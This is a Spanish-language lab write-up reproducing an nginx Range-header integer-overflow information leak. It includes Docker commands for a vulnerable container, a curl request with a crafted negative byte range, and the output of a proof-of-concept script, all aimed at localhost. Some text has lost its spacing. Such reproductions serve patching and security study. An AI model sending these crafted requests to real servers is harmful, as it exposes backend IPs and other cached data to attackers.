
Cuando se utilizan los módulos estándar de nginx, un atacante puede obtener la información del encabezado de los archivos en caché de la respuesta enviando solicitudes de cabecera (header) que contienen un campo range maliciosamente construido. En ciertas configuraciones, el encabezado del archivo en caché puede contener la dirección IP del servidor backend u otra información sensible, lo que provoca una fuga de información.
Esta vulnerabilidad afecta a todas las versiones 0.5.6 - 1.13.2 de Nginx con módulos de configuración predeterminada. Solo es necesario tener habilitada la caché para que un atacante pueda enviar solicitudes maliciosas y realizar ataques remotos que provoquen una fuga de información.
Cuando el servidor Nginx utiliza caché de proxy, un atacante que explote esta vulnerabilidad puede obtener la IP real del backend del servidor u otra información sensible.
Nuestro análisis determina que esta vulnerabilidad tiene una dificultad de explotación baja; puede clasificarse como una vulnerabilidad de tipo low-hanging-fruit y tiene cierto valor de explotación en ataques de red reales.
Nginx versión 0.5.6 - 1.13.2
Nginx versión 1.13.3, 1.12.1
$ docker pull medicean/vulapps:n_nginx_1
$ docker run -d -p 8000:80 medicean/vulapps:n_nginx_1
El
8000que aparece delante de-p 8000:80representa el puerto de la máquina física; se puede especificar libremente.
/proxy/demo.png como ejemplo:$ curl -I http://127.0.0.1:8000/proxy/demo.png
HTTP/1.1 200 OK
Server: nginx/1.13.1
Date: Wed, 12 Jul 2017 15:57:57 GMT
Content-Type: image/png
Content-Length: 16585
Connection: keep-alive
Last-Modified: Wed, 12 Jul 2017 15:57:57 GMT
ETag: W/"40c9-5543e4fad0d40"
X-Proxy-Cache:: MISS
Accept-Ranges: bytes
Una vez visto Content-Length: 16585, busque un valor mayor que este número, por ejemplo 17208; el segundo valor de range es 0x8000000000000000-17208, es decir, 9223372036854758600.
$ curl -i http://127.0.0.1:8000/proxy/demo.png -r -17208,-9223372036854758600
Vea el resultado:

$ python poc.py http://127.0.0.1:8000/proxy/demo.png
Vulnerable: http://127.0.0.1:8000/proxy/demo.png